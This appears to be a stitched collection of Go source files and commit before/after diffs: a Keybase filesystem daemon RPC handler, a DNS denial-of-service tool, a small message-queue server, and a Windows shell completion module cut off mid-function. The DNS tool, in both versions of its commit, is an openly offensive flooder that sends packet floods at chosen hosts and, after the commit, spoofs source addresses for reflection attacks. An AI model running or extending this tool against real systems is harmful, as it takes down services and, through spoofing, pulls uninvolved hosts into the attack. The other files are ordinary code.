func (d daemonIdentifyUI) ReportLastTrack(ctx context.Context, arg keybase1.ReportLastTrackArg) error {
	d.log.CDebugf(ctx, "ReportLastTrack(%+v)", arg)
	return nil
}

func (d daemonIdentifyUI) LaunchNetworkChecks(ctx context.Context, arg keybase1.LaunchNetworkChecksArg) error {
	d.log.CDebugf(ctx, "LaunchNetworkChecks(%+v)", arg)
	return nil
}

func (d daemonIdentifyUI) DisplayTrackStatement(ctx context.Context, arg keybase1.DisplayTrackStatementArg) error {
	d.log.CDebugf(ctx, "DisplayTrackStatement(%+v)", arg)
	return nil
}

func (d daemonIdentifyUI) FinishWebProofCheck(ctx context.Context, arg keybase1.FinishWebProofCheckArg) error {
	d.log.CDebugf(ctx, "FinishWebProofCheck(%+v)", arg)
	return nil
}

func (d daemonIdentifyUI) FinishSocialProofCheck(ctx context.Context, arg keybase1.FinishSocialProofCheckArg) error {
	d.log.CDebugf(ctx, "FinishSocialProofCheck(%+v)", arg)
	return nil
}

func (d daemonIdentifyUI) DisplayCryptocurrency(ctx context.Context, arg keybase1.DisplayCryptocurrencyArg) error {
	d.log.CDebugf(ctx, "DisplayCryptocurrency(%+v)", arg)
	return nil
}

func (d daemonIdentifyUI) ReportTrackToken(ctx context.Context, arg keybase1.ReportTrackTokenArg) error {
	d.log.CDebugf(ctx, "ReportTrackToken(%+v)", arg)
	return nil
}

func (d daemonIdentifyUI) DisplayUserCard(ctx context.Context, arg keybase1.DisplayUserCardArg) error {
	d.log.CDebugf(ctx, "DisplayUserCard(%+v)", arg)
	return nil
}

func (d daemonIdentifyUI) Confirm(ctx context.Context, arg keybase1.ConfirmArg) (keybase1.ConfirmResult, error) {
	d.log.CDebugf(ctx, "Confirm(%+v) (returning false)", arg)
	return keybase1.ConfirmResult{
		IdentityConfirmed: false,
		RemoteConfirmed:   false,
	}, nil
}

func (d daemonIdentifyUI) DisplayTLFCreateWithInvite(ctx context.Context,
	arg keybase1.DisplayTLFCreateWithInviteArg) (err error) {
	return nil
}

func (d daemonIdentifyUI) Dismiss(ctx context.Context,
	_ keybase1.DismissArg) error {
	return nil
}

func (d daemonIdentifyUI) Cancel(ctx context.Context, sessionID int) error {
	d.log.CDebugf(ctx, "Cancel(%d)", sessionID)
	return nil
}

func (d daemonIdentifyUI) Finish(ctx context.Context, sessionID int) error {
	d.log.CDebugf(ctx, "Finish(%d)", sessionID)
	return nil
}

// HandlerName implements the ConnectionHandler interface.
func (*KeybaseDaemonRPC) HandlerName() string {
	return "KeybaseDaemonRPC"
}

// AddProtocols adds protocols that are registered on server connect
func (k *KeybaseDaemonRPC) AddProtocols(protocols []rpc.Protocol) {
	if protocols == nil {
		return
	}
	if k.protocols != nil {
		k.protocols = append(k.protocols, protocols...)
	} else {
		k.protocols = protocols
	}
}

// OnConnect implements the ConnectionHandler interface.
func (k *KeybaseDaemonRPC) OnConnect(ctx context.Context,
	conn *rpc.Connection, rawClient rpc.GenericClient,
	server *rpc.Server) error {

	// Protocols that KBFS requires
	protocols := []rpc.Protocol{
		keybase1.LogUiProtocol(daemonLogUI{k.daemonLog}),
		keybase1.IdentifyUiProtocol(daemonIdentifyUI{k.daemonLog}),
		keybase1.NotifySessionProtocol(k),
		keybase1.NotifyKeyfamilyProtocol(k),
		keybase1.NotifyPaperKeyProtocol(k),
		keybase1.NotifyFSRequestProtocol(k),
		keybase1.TlfKeysProtocol(k),
	}

	if k.protocols != nil {
		protocols = append(protocols, k.protocols...)
	}

	for _, p := range protocols {
		err := server.Register(p)
		if err != nil {
			if _, ok := err.(rpc.AlreadyRegisteredError); !ok {
				return err
			}
		}
	}

	// Using conn.GetClient() here would cause problematic
	// recursion.
	c := keybase1.NotifyCtlClient{Cli: rawClient}
	err := c.SetNotifications(ctx, keybase1.NotificationChannels{
		Session:     true,
		Paperkeys:   true,
		Keyfamily:   true,
		Kbfsrequest: true,
	})
	if err != nil {
		return err
	}

	// Introduce ourselves. TODO: move this to SharedKeybaseConnection
	// somehow?
	configClient := keybase1.ConfigClient{Cli: rawClient}
	err = configClient.HelloIAm(ctx, keybase1.ClientDetails{
		Pid:        os.Getpid(),
		ClientType: keybase1.ClientType_KBFS,
		Argv:       os.Args,
		Version:    VersionString(),
	})
	if err != nil {
		return err
	}

	return nil
}

// OnConnectError implements the ConnectionHandler interface.
func (k *KeybaseDaemonRPC) OnConnectError(err error, wait time.Duration) {
	k.log.Warning("KeybaseDaemonRPC: connection error: %q; retrying in %s",
		err, wait)
}

// OnDoCommandError implements the ConnectionHandler interface.
func (k *KeybaseDaemonRPC) OnDoCommandError(err error, wait time.Duration) {
	k.log.Warning("KeybaseDaemonRPC: docommand error: %q; retrying in %s",
		err, wait)
}

// OnDisconnected implements the ConnectionHandler interface.
func (k *KeybaseDaemonRPC) OnDisconnected(_ context.Context,
	status rpc.DisconnectStatus) {
	if status == rpc.StartingNonFirstConnection {
		k.log.Warning("KeybaseDaemonRPC is disconnected")
	}

	k.clearCaches()
}

// ShouldRetry implements the ConnectionHandler interface.
func (k *KeybaseDaemonRPC) ShouldRetry(rpcName string, err error) bool {
	return false
}

// ShouldRetryOnConnect implements the ConnectionHandler interface.
func (k *KeybaseDaemonRPC) ShouldRetryOnConnect(err error) bool {
	_, inputCanceled := err.(libkb.InputCanceledError)
	return !inputCanceled
}

func (k *KeybaseDaemonRPC) keepAliveLoop(ctx context.Context) {
	// If the connection is dropped, we need to re-connect and send
	// another HelloIAm message. However, we can't actually detect
	// when the connection is closed until KBFS makes another outgoing
	// RPC, which might not happen for a while.  So continuously send
	// a cheap RPC in the background, so that OnConnect will get
	// called as soon as the connection comes back.
	ticker := time.NewTicker(1 * time.Second)
	defer ticker.Stop()
	for {
		select {
		case <-ctx.Done():
			return
		case <-ticker.C:
			if k.sessionClient == nil {
				// Clients haven't been filled yet.
				continue
			}
			const sessionID = 0
			err := k.sessionClient.SessionPing(ctx)
			if err != nil && err.Error() != NoCurrentSessionExpectedError {
				// Only log the error if it's not "no current session".
				k.log.CWarningf(
					ctx, "Background keep alive hit an error: %v", err)
			}
		}
	}
}

// Shutdown implements the KeybaseService interface for KeybaseDaemonRPC.
func (k *KeybaseDaemonRPC) Shutdown() {
	if k.shutdownFn != nil {
		k.shutdownFn()
	}
	if k.keepAliveCancel != nil {
		k.keepAliveCancel()
	}
}
<|endoftext|>


<commit_before>package main

import (
	"flag"
	"log"
	"runtime"
	"strings"
	"sync"
	"time"

	"github.com/miekg/dns"
	"lib/channels/chanman"
	"lib/config"
	"lib/protocols/dnsproto"
	"lib/protocols/dnsproto/dnsraw"
	//"code.google.com/p/go.net/ipv4"
)

var protoFlag = flag.String("p", "dns", "Specify protocol to use for DoS (dns)") //specify which protocol to use, only dns for now
var destPort = flag.Uint("P", 53, "Specify destination port for DoS")            //specify the destinaton port to use, 53 is the default
var destIPs = flag.String("d", "127.0.0.1", "Specify an single host or a list of destination hosts seperated by comma (example: 1.2.3.4 or 1.2.3.4,2.3.4.5)")
var srcIPs = flag.String("s", "127.0.0.1", "Specify an single host or a list of source hosts seperated by comma (example: 1.2.3.4 or 1.2.3.4,2.3.4.5), only used for reflection attacks")
var rateFlag = flag.Uint("r", 1, "Specify the amount of protocol requests per second")
var durationFlag = flag.Uint("D", 60, "Specify the total duration of the test")
var interfaceFlag = flag.String("i", "", "Specify which interface name to eject packets from (raw packets only)")
var floodFlag = flag.Bool("F", false, "Specifies if the dns request should be flooded statelessly")
var reflectionFlag = flag.Bool("R", false, "If set to true the specified then specify the source IPs to spoof the requests from")

func main() {
	//Set the runtime to the max number of available CPUs
	runtime.GOMAXPROCS(runtime.NumCPU())

	//inialize the comminications channels for managing goroutines
	cm := chanman.NewChanMan()

	//initalize a config
	cfg := config.NewConfig()

	//initailize the wait group used to manage the threads
	wg := new(sync.WaitGroup)

	//initialize the counters for our statistcs
	var runCounter uint
	runCounter = 0
	var queryCounter int
	queryCounter = 0

	//parse the command line options
	flag.Parse()
	//check the provided options
	if *protoFlag == "dns" {
		cfg.SetProtocol("dns")
	} else {
		log.Fatalf("The specified protocol %s is not supported", protoFlag)
	}

	if destPort != nil && *destPort < 65536 && *destPort > 1 {
		cfg.SetDstPort(uint16(*destPort)) //cast to uint16
	} else {
		log.Fatalf("The defiened destination port %d is outside of the accepted range\n", destPort)
	}

	if destIPs != nil {
		//process dest IPs to string array
		cfg.SetDstIPsByString(*destIPs)
	} else {
		log.Fatalf("Error in parsing the specified destination IPs %s\n", destIPs)
	}

	if srcIPs != nil {
		//process dest IPs to string array
		cfg.SetSrcIPsByString(*srcIPs)
	} else {
		log.Fatalf("Error in parsing the specified souce IPs %s\n", destIPs)
	}

	if *rateFlag > 0 {
		cfg.SetRate(uint(*rateFlag))
	} else {
		log.Fatalf("The specified rate %d is not within an acceptable range\n", rateFlag)
	}

	if *durationFlag > 0 {
		cfg.SetDuration(uint(*durationFlag))
	} else {
		log.Fatalf("The specified duration %d is not within an acceptable range\n", durationFlag)
	}

	if interfaceFlag != nil {
		//take interface string and specify the correct index
		cfg.SetInterfaceByName(*interfaceFlag)
	} else {
		log.Fatalf("The egress interface was not specified")
	}

	//configure startup for test

	log.Printf("Starting DoS against %s on Port %d via protocol %s at rate %d/s", *destIPs, *destPort, *protoFlag, *rateFlag)

	ticker := time.NewTicker(time.Second * 1)

	//Intialize goroutine to collect stats
	go func() {
		for {
			select {
			case val := <-cm.RunChan:
				if val == true {
					queryCounter = queryCounter + 1
				} else if val == false {
					log.Println("FALSE")
					return
				}
			case val := <-cm.StatsChan:
				//aggregate stats
				log.Println(*val)
			}
		}
	}()

	//types stateful, flood, reflection
	if *floodFlag != true && *reflectionFlag != true {
		//start a stateful request flow
		// A stateful request is initiated by the client running the tool
		config := new(dns.ClientConfig)
		config.Servers = strings.Split(*destIPs, ":")
		config.Port = string(*destPort)
		config.Ndots = 1
		config.Timeout = 1
		config.Attempts = 1
		for t := range ticker.C {
			log.Println(t)
			runCounter = runCounter + 1
			var i uint
			for i = 0; i < cfg.Rate; i++ {
				wg.Add(1)
				go dnsproto.DnsQuery(wg, config, cm)
			}
			if runCounter == *durationFlag {
				wg.Wait()
				log.Printf("Completed %d queries over %d runs to %s", queryCounter, runCounter, *destIPs)
				break
			}
		}
	} else if *floodFlag && *reflectionFlag != true {
		for t := range ticker.C {
			log.Println(t)
			runCounter = runCounter + 1
			var i uint
			for i = 0; i < cfg.Rate; i++ {
				wg.Add(1)
				//send flood packet
				rawQuery := dnsraw.NewRawDNS()
				rawQuery.SetLocalAddress(cfg.SrcIPs[0])
				rawQuery.SetRemoteAddress(cfg.DstIPs[0])
				rawQuery.SetDestPort(cfg.DstPort)
				go rawQuery.DnsQuery(wg, cfg.Interface.Index, cm)
			}
			if runCounter == *durationFlag {
				wg.Wait()
				log.Printf("Completed %d queries over %d runs to %s", queryCounter, runCounter, *destIPs)
				break
			}
		}
	} else if *reflectionFlag && *floodFlag != true {
		//reflect off of destination hosts from source IPs
	} else if *reflectionFlag && *floodFlag {
		//not a valid state
	} else {
		//no state decided
	}

}
<commit_msg>Added reflection flag<commit_after>package main

import (
	"flag"
	"log"
	"runtime"
	"strings"
	"sync"
	"time"

	"github.com/miekg/dns"
	"lib/channels/chanman"
	"lib/config"
	"lib/protocols/dnsproto"
	"lib/protocols/dnsproto/dnsraw"
	//"code.google.com/p/go.net/ipv4"
)

var protoFlag = flag.String("p", "dns", "Specify protocol to use for DoS (dns)") //specify which protocol to use, only dns for now
var destPort = flag.Uint("P", 53, "Specify destination port for DoS")            //specify the destinaton port to use, 53 is the default
var destIPs = flag.String("d", "127.0.0.1", "Specify an single host or a list of destination hosts seperated by comma (example: 1.2.3.4 or 1.2.3.4,2.3.4.5)")
var srcIPs = flag.String("s", "127.0.0.1", "Specify an single host or a list of source hosts seperated by comma (example: 1.2.3.4 or 1.2.3.4,2.3.4.5), only used for reflection attacks")
var rateFlag = flag.Uint("r", 1, "Specify the amount of protocol requests per second")
var durationFlag = flag.Uint("D", 60, "Specify the total duration of the test")
var interfaceFlag = flag.String("i", "", "Specify which interface name to eject packets from (raw packets only)")
var floodFlag = flag.Bool("F", false, "Specifies if the dns request should be flooded statelessly")
var reflectionFlag = flag.Bool("R", false, "If set to true the specified then specify the source IPs to spoof the requests from. In this case the source IPs are destination IPs and the destination is the source.")

func main() {
	//Set the runtime to the max number of available CPUs
	runtime.GOMAXPROCS(runtime.NumCPU())

	//inialize the comminications channels for managing goroutines
	cm := chanman.NewChanMan()

	//initalize a config
	cfg := config.NewConfig()

	//initailize the wait group used to manage the threads
	wg := new(sync.WaitGroup)

	//initialize the counters for our statistcs
	var runCounter uint
	runCounter = 0
	var queryCounter int
	queryCounter = 0

	//parse the command line options
	flag.Parse()
	//check the provided options
	if *protoFlag == "dns" {
		cfg.SetProtocol("dns")
	} else {
		log.Fatalf("The specified protocol %s is not supported", protoFlag)
	}

	if destPort != nil && *destPort < 65536 && *destPort > 1 {
		cfg.SetDstPort(uint16(*destPort)) //cast to uint16
	} else {
		log.Fatalf("The defiened destination port %d is outside of the accepted range\n", destPort)
	}

	if destIPs != nil {
		//process dest IPs to string array
		cfg.SetDstIPsByString(*destIPs)
	} else {
		log.Fatalf("Error in parsing the specified destination IPs %s\n", destIPs)
	}

	if srcIPs != nil {
		//process dest IPs to string array
		cfg.SetSrcIPsByString(*srcIPs)
	} else {
		log.Fatalf("Error in parsing the specified souce IPs %s\n", destIPs)
	}

	if *rateFlag > 0 {
		cfg.SetRate(uint(*rateFlag))
	} else {
		log.Fatalf("The specified rate %d is not within an acceptable range\n", rateFlag)
	}

	if *durationFlag > 0 {
		cfg.SetDuration(uint(*durationFlag))
	} else {
		log.Fatalf("The specified duration %d is not within an acceptable range\n", durationFlag)
	}

	if interfaceFlag != nil {
		//take interface string and specify the correct index
		cfg.SetInterfaceByName(*interfaceFlag)
	} else {
		log.Fatalf("The egress interface was not specified")
	}

	//configure startup for test

	log.Printf("Starting DoS against %s on Port %d via protocol %s at rate %d/s", *destIPs, *destPort, *protoFlag, *rateFlag)

	ticker := time.NewTicker(time.Second * 1)

	//Intialize goroutine to collect stats
	go func() {
		for {
			select {
			case val := <-cm.RunChan:
				if val == true {
					queryCounter = queryCounter + 1
				} else if val == false {
					log.Println("FALSE")
					return
				}
			case val := <-cm.StatsChan:
				//aggregate stats
				log.Println(*val)
			}
		}
	}()

	//types stateful, flood, reflection
	if *floodFlag != true && *reflectionFlag != true {
		//start a stateful request flow
		// A stateful request is initiated by the client running the tool
		config := new(dns.ClientConfig)
		config.Servers = strings.Split(*destIPs, ":")
		config.Port = string(*destPort)
		config.Ndots = 1
		config.Timeout = 1
		config.Attempts = 1
		for t := range ticker.C {
			log.Println(t)
			runCounter = runCounter + 1
			var i uint
			for i = 0; i < cfg.Rate; i++ {
				wg.Add(1)
				go dnsproto.DnsQuery(wg, config, cm)
			}
			if runCounter == *durationFlag {
				wg.Wait()
				log.Printf("Completed %d queries over %d runs to %s", queryCounter, runCounter, *destIPs)
				break
			}
		}
	} else if *floodFlag && *reflectionFlag != true {
		for t := range ticker.C {
			log.Println(t)
			runCounter = runCounter + 1
			var i uint
			for i = 0; i < cfg.Rate; i++ {
				wg.Add(1)
				//send flood packet
				rawQuery := dnsraw.NewRawDNS()
				rawQuery.SetLocalAddress(cfg.SrcIPs[0])
				rawQuery.SetRemoteAddress(cfg.DstIPs[0])
				rawQuery.SetDestPort(cfg.DstPort)
				go rawQuery.DnsQuery(wg, cfg.Interface.Index, cm)
			}
			if runCounter == *durationFlag {
				wg.Wait()
				log.Printf("Completed %d queries over %d runs to %s", queryCounter, runCounter, *destIPs)
				break
			}
		}
	} else if *reflectionFlag && *floodFlag != true {
		//reflect off of destination hosts from source IPs
		for t := range ticker.C {
			log.Println(t)
			runCounter = runCounter + 1
			var i uint
			for i = 0; i < cfg.Rate; i++ {
				wg.Add(1)
				//send flood packet
				rawQuery := dnsraw.NewRawDNS()
				rawQuery.SetLocalAddress(cfg.DstIPs[0])
				rawQuery.SetRemoteAddress(cfg.SrcIPs[0])
				rawQuery.SetDestPort(cfg.DstPort)
				go rawQuery.DnsQuery(wg, cfg.Interface.Index, cm)
			}
			if runCounter == *durationFlag {
				wg.Wait()
				log.Printf("Completed %d queries over %d runs to %s", queryCounter, runCounter, *destIPs)
				break
			}
		}
	} else if *reflectionFlag && *floodFlag {
		//not a valid state
		log.Fatalln("The selection of reflection and flood flags is invalid. Please choose a supported combination.")
	} else {
		//no state decided
		log.Fatalln("Please choose a supported combinatio of operational flags.")
	}

}
<|endoftext|>


<commit_before>package gmqnet

import (
	"encoding/base64"
	"errors"
	"gmq/configuration"
	"gmq/queue"
	"net"
	"strconv"
)

func HandleConnection(server *gmqconf.Server, params *gmqconf.Params) (err error) {
	//Init singletons
	output := make(chan []byte, params.Queue.MaxQueueN)
	queues := gmq.InitQueueInstance(params.Queue.MaxQueueN)

	for {
		conn, err := server.Listener.Accept()
		if err != nil {
			return err
		}
		go func(c net.Conn, params *gmqconf.Params, q map[string]gmq.QueueInterface) {
			buf := make([]byte, params.Queue.MaxMessageL)
			n, err := c.Read(buf)
			if err != nil {
				c.Write([]byte("Error: " + err.Error()))
				c.Close()
			}
			output <- buf[:n]
			c.Write(handleMessage(params, <-output, q))
			c.Close()
		}(conn, params, queues)
	}
	return nil
}

func handleMessage(params *gmqconf.Params, message []byte, queues map[string]gmq.QueueInterface) []byte {
	queue, err := gmqconf.ConfigureQueue(params)
	if err != nil {
		return []byte("Error parsing the server coniguration: " + err.Error())
	}
	parsed, err := ParseMessage(message)
	if err != nil {
		return []byte("Error parsing the incoming message: " + err.Error())
	}

	if _, exists := queues[parsed.Queue]; !exists {
		_, err := queue.Create(parsed.Queue)
		if err != nil {
			parsed.Error = err
		}
		queues[parsed.Queue] = queue
	} else {
		queue = queues[parsed.Queue]
	}

	switch parsed.Operation {
	case "P":
		decoded, err := base64.StdEncoding.DecodeString(parsed.Payload)
		if err != nil {
			parsed.Error = err
		}
		parsed.Error = publish(parsed.Queue, queue, decoded)
		break

	case "S":
		resp, err := subscribe(parsed.Queue, queue)
		parsed.Payload = base64.StdEncoding.EncodeToString(resp)
		parsed.Error = err
		break

	case "L":
		parsed.Payload, parsed.Error = list(parsed.Queue, queue)
		break

	default:
		parsed.Error = errors.New("Error: operation not yet implemented")
		break
	}

	if parsed.Error != nil {
		parsed.Confirmed = "N"
	} else {
		parsed.Confirmed = "Y"
	}
	return WriteMessage(parsed)
}

func publish(qname string, q gmq.QueueInterface, input []byte) error {
	return q.Push(input)

}

func subscribe(qname string, q gmq.QueueInterface) ([]byte, error) {
	return q.Pop()
}

func list(qname string, q gmq.QueueInterface) (string, error) {
	lenght, err := gmq.GetQueueLength(qname)
	return strconv.Itoa(lenght), err
}
<commit_msg>Removing unneccessary break<commit_after>package gmqnet

import (
	"encoding/base64"
	"errors"
	"gmq/configuration"
	"gmq/queue"
	"net"
	"strconv"
)

func HandleConnection(server *gmqconf.Server, params *gmqconf.Params) (err error) {
	//Init singletons
	output := make(chan []byte, params.Queue.MaxQueueN)
	queues := gmq.InitQueueInstance(params.Queue.MaxQueueN)

	for {
		conn, err := server.Listener.Accept()
		if err != nil {
			return err
		}
		go func(c net.Conn, params *gmqconf.Params, q map[string]gmq.QueueInterface) {
			buf := make([]byte, params.Queue.MaxMessageL)
			n, err := c.Read(buf)
			if err != nil {
				c.Write([]byte("Error: " + err.Error()))
				c.Close()
			}
			output <- buf[:n]
			c.Write(handleMessage(params, <-output, q))
			c.Close()
		}(conn, params, queues)
	}
	return nil
}

func handleMessage(params *gmqconf.Params, message []byte, queues map[string]gmq.QueueInterface) []byte {
	queue, err := gmqconf.ConfigureQueue(params)
	if err != nil {
		return []byte("Error parsing the server coniguration: " + err.Error())
	}
	parsed, err := ParseMessage(message)
	if err != nil {
		return []byte("Error parsing the incoming message: " + err.Error())
	}

	if _, exists := queues[parsed.Queue]; !exists {
		_, err := queue.Create(parsed.Queue)
		if err != nil {
			parsed.Error = err
		}
		queues[parsed.Queue] = queue
	} else {
		queue = queues[parsed.Queue]
	}

	switch parsed.Operation {
	case "P":
		decoded, err := base64.StdEncoding.DecodeString(parsed.Payload)
		if err != nil {
			parsed.Error = err
		}
		parsed.Error = publish(parsed.Queue, queue, decoded)

	case "S":
		resp, err := subscribe(parsed.Queue, queue)
		parsed.Payload = base64.StdEncoding.EncodeToString(resp)
		parsed.Error = err

	case "L":
		parsed.Payload, parsed.Error = list(parsed.Queue, queue)

	default:
		parsed.Error = errors.New("Error: operation not yet implemented")
	}

	if parsed.Error != nil {
		parsed.Confirmed = "N"
	} else {
		parsed.Confirmed = "Y"
	}
	return WriteMessage(parsed)
}

func publish(qname string, q gmq.QueueInterface, input []byte) error {
	return q.Push(input)

}

func subscribe(qname string, q gmq.QueueInterface) ([]byte, error) {
	return q.Pop()
}

func list(qname string, q gmq.QueueInterface) (string, error) {
	lenght, err := gmq.GetQueueLength(qname)
	return strconv.Itoa(lenght), err
}
<|endoftext|>


<commit_before>package completion

import "bytes"
import "fmt"
import "os"
import "path"
import "strings"
import "unicode"
import "path/filepath"

import "../box"
import "../exename"
import "../conio"

func isExecutable(path string) bool {
	_, ok := exename.Suffixes[strings.ToLower(filepath.Ext(path))]
	return ok
}

func listUpFiles(str string) ([]string, error) {
	str = strings.Replace(strings.Replace(str, "\\", "/", -1), "\"", "", -1)
	var directory string
	str = strings.Replace(str, "\\", "/", -1)
	if strings.HasSuffix(str, "/") {
		directory = path.Join(str, ".")
	} else {
		directory = path.Dir(str)
	}
	cutprefix := 0
	if strings.HasPrefix(directory, "/") {
		wd, _ := os.Getwd()
		directory = wd[0:2] + directory
		cutprefix = 2
	}

	fd, fdErr := os.Open(directory)
	if fdErr != nil {
		return nil, fdErr
	}
	defer fd.Close()
	files, filesErr := fd.Readdir(-1)
	if filesErr != nil {
		return nil, filesErr
	}
	commons := make([]string, 0)
	STR := strings.ToUpper(str)
	for _, node1 := range files {
		name := path.Join(directory, node1.Name())
		if node1.IsDir() {
			name += "/"
		}
		if cutprefix > 0 {
			name = name[2:]
		}
		nameUpr := strings.ToUpper(name)
		if strings.HasPrefix(nameUpr, STR) {
			commons = append(commons, name)
		}
	}
	return commons, nil
}

func listUpCommands(str string) ([]string, error) {
	listTmp, listErr := listUpFiles(str)
	if listErr != nil {
		return nil, listErr
	}
	list := make([]string, 0)
	for _, fname := range listTmp {
		if strings.HasSuffix(fname, "/") || strings.HasSuffix(fname, "\\") || isExecutable(fname) {
			list = append(list, fname)
		}
	}
	pathEnv := os.Getenv("PATH")
	dirList := strings.Split(pathEnv, ";")
	strUpr := strings.ToUpper(str)
	for _, dir1 := range dirList {
		dirHandle, dirErr := os.Open(dir1)
		if dirErr != nil {
			continue
		}
		defer dirHandle.Close()
		files, filesErr := dirHandle.Readdir(0)
		if filesErr != nil {
			continue
		}
		for _, file1 := range files {
			name1Upr := strings.ToUpper(file1.Name())
			if !strings.HasPrefix(name1Upr, strUpr) {
				continue
			}
			if file1.IsDir() {
				continue
			}
			name := file1.Name()
			if isExecutable(name) {
				list = append(list, path.Base(name))
			}
		}
	}
	// remove dupcalites
	uniq := make([]string, 0)
	lastone := ""
	for _, cur := range list {
		if cur != lastone {
			uniq = append(uniq, cur)
		}
		lastone = cur
	}
	return uniq, nil
}
func KeyFuncCompletionList(this *conio.ReadLineBuffer) conio.KeyFuncResult {
	str, pos := this.CurrentWord()
	var list []string
	if pos > 0 {
		list, _ = listUpFiles(str)
	} else {
		list, _ = listUpCommands(str)
	}
	if list == nil {
		return conio.CONTINUE
	}
	fmt.Print("\n")
	box.Print(list, 80, os.Stdout)
	this.RepaintAll()
	return conio.CONTINUE
}

func getCommmon(list []string) string {
	common := list[0]
	for _, f := range list[1:] {
		cr := strings.NewReader(common)
		fr := strings.NewReader(f)
		i := 0
		var buffer bytes.Buffer
		for {
			ch, _, cerr := cr.ReadRune()
			fh, _, ferr := fr.ReadRune()
			if cerr != nil || ferr != nil || unicode.ToUpper(ch) != unicode.ToUpper(fh) {
				break
			}
			buffer.WriteRune(ch)
			i++
		}
		common = buffer.String()
	}
	return common
}

func compareWithoutQuote(this string, that string) bool {
	return strings.Replace(this, "\"", "", -1) == strings.Replace(that, "\"", "", -1)
}

func KeyFuncCompletion(this *conio.ReadLineBuffer) conio.KeyFuncResult {
	str, wordStart := this.CurrentWord()

	slashToBackSlash := true
	firstFoundSlashPos := strings.IndexRune(str, '/')
	firstFoundBackSlashPos := strings.IndexRune(str, '\\')
	if firstFoundSlashPos >= 0 && firstFoundBackSlashPos >= 0 && firstFoundSlashPos < firstFoundBackSlashPos {
		slashToBackSlash = false
	}

	var list []string
	var err error
	if wordStart > 0 {
		list, err = listUpFiles(str)
	} else {
		list, err = listUpCommands(str)
	}
	if err != nil || len(list) <= 0 {
		return conio.CONTINUE
	}
	commonStr := getCommmon(list)
	needQuote := strings.ContainsRune(str, '"')
	if !needQuote {
		for _, node := range list {
			if strings.ContainsRune(node, ' ') {
				needQuote = true
				break
			}
		}
	}
	if needQuote {
		var buffer bytes.Buffer
		buffer.WriteRune('"')
		buffer.WriteString(commonStr)
		if len(list) <= 1 {
			buffer.WriteRune('"')
		}
		commonStr = buffer.String()
	}
	if len(list) == 1 && !strings.HasSuffix(commonStr, "/") && !strings.HasSuffix(commonStr, "/\"") {
		commonStr += " "
	}
	if slashToBackSlash {
		commonStr = strings.Replace(commonStr, "/", "\\", -1)
	}
	if compareWithoutQuote(str, commonStr) {
		return KeyFuncCompletionList(this)
	}
	this.ReplaceAndRepaint(wordStart, commonStr)
	return conio.CONTINUE
}
<commit_msg>%HOME%\… のような「パス」を補完できるようにした。<commit_after>package completion

import "bytes"
import "fmt"
import "os"
import "path"
import "path/filepath"
import "regexp"
import "strings"
import "unicode"

import "../box"
import "../exename"
import "../conio"

func isExecutable(path string) bool {
	_, ok := exename.Suffixes[strings.ToLower(filepath.Ext(path))]
	return ok
}

var RxEnvironPattern = regexp.MustCompile("%[^%]+%")

func listUpFiles(str string) ([]string, error) {
	str = RxEnvironPattern.ReplaceAllStringFunc(str, func(p string) string {
		if len(p) == 2 {
			return "%"
		} else if val := os.Getenv(p[1 : len(p)-1]); val != "" {
			return val
		} else {
			return p
		}
	})

	str = strings.Replace(strings.Replace(str, "\\", "/", -1), "\"", "", -1)
	var directory string
	str = strings.Replace(str, "\\", "/", -1)
	if strings.HasSuffix(str, "/") {
		directory = path.Join(str, ".")
	} else {
		directory = path.Dir(str)
	}
	cutprefix := 0
	if strings.HasPrefix(directory, "/") {
		wd, _ := os.Getwd()
		directory = wd[0:2] + directory
		cutprefix = 2
	}

	fd, fdErr := os.Open(directory)
	if fdErr != nil {
		return nil, fdErr
	}
	defer fd.Close()
	files, filesErr := fd.Readdir(-1)
	if filesErr != nil {
		return nil, filesErr
	}
	commons := make([]string, 0)
	STR := strings.ToUpper(str)
	for _, node1 := range files {
		name := path.Join(directory, node1.Name())
		if node1.IsDir() {
			name += "/"
		}
		if cutprefix > 0 {
			name = name[2:]
		}
		nameUpr := strings.ToUpper(name)
		if strings.HasPrefix(nameUpr, STR) {
			commons = append(commons, name)
		}
	}
	return commons, nil
}

func listUpCommands(str string) ([]string, error) {
	listTmp, listErr := listUpFiles(str)
	if listErr != nil {
		return nil, listErr
	}
	list := make([]string, 0)
	for _, fname := range listTmp {
		if strings.HasSuffix(fname, "/") || strings.HasSuffix(fname, "\\") || isExecutable(fname) {
			list = append(list, fname)
		}
	}
	pathEnv := os.Getenv("PATH")
	dirList := strings.Split(pathEnv, ";")
	strUpr := strings.ToUpper(str)
	for _, dir1 := range dirList {
		dirHandle, dirErr := os.Open(dir1)
		if dirErr != nil {
			continue
		}
		defer dirHandle.Close()
		files, filesErr := dirHandle.Readdir(0)
		if filesErr != nil {
			continue
		}
		for _, file1 := range files {
			name1Upr := strings.ToUpper(file1.Name())
			if !strings.HasPrefix(name1Upr, strUpr) {
				continue
			}
			if file1.IsDir() {
				continue
			}
			name := file1.Name()
			if isExecutable(name) {
				list = append(list, path.Base(name))
			}
		}
	}
	// remove dupcalites
	uniq := make([]string, 0)
	lastone := ""
	for _, cur := range list {
		if cur != lastone {
			uniq = append(uniq, cur)
		}
		lastone = cur
	}
	return uniq, nil
}
func KeyFuncCompletionList(this *conio.ReadLineBuffer) conio.KeyFuncResult {
	str, pos := this.CurrentWord()
	var list []string
	if pos > 0 {
		list, _ = listUpFiles(str)
	} else {
		list, _ = listUpCommands(str)
	}
	if list == nil {
		return conio.CONTINUE
	}
	fmt.Print("\n")
	box.Print(list, 80, os.Stdout)
	this.RepaintAll()
	return conio.CONTINUE
}

func getCommmon(list []string) string {
	common := list[0]
	for _, f := range list[1:] {
		cr := strings.NewReader(common)
		fr := strings.NewReader(f)
		i := 0
		var buffer bytes.Buffer
		for {
			ch, _, cerr := cr.ReadRune()
			fh, _, ferr := fr.ReadRune()
			if cerr != nil || ferr != nil || unicode.ToUpper(ch) != unicode.ToUpper(fh) {
				break
			}
			buffer.WriteRune(ch)
			i++
		}
		common = buffer.String()
	}
	return common
}

func compareWithoutQuote(this string, that string) bool {
	return strings.Replace(this, "\"", "", -1) == strings.Replace(that, "\"", "", -1)
}

func KeyFuncCompletion(this *conio.ReadLineBuffer) conio.KeyFuncResult {
	str, wordStart := this.CurrentWord()

	slashToBackSlash := true
	firstFoundSlashPos := strings.IndexRune(str, '/')
	firstFoundBackSlashPos := strings.IndexRune(str, '\\')
	if firstFoundSlashPos >= 0 && firstFoundBackSlashPos >= 0 && firstFoundSlashPos < firstFoundBackSlashPos {
		slashToBackSlash = false
	}

	var list []string
	var err error
	if wordStart > 0 {
		list, err = listUpFiles(str)
	} else {
		list, err = listUpCommands(str)
	}
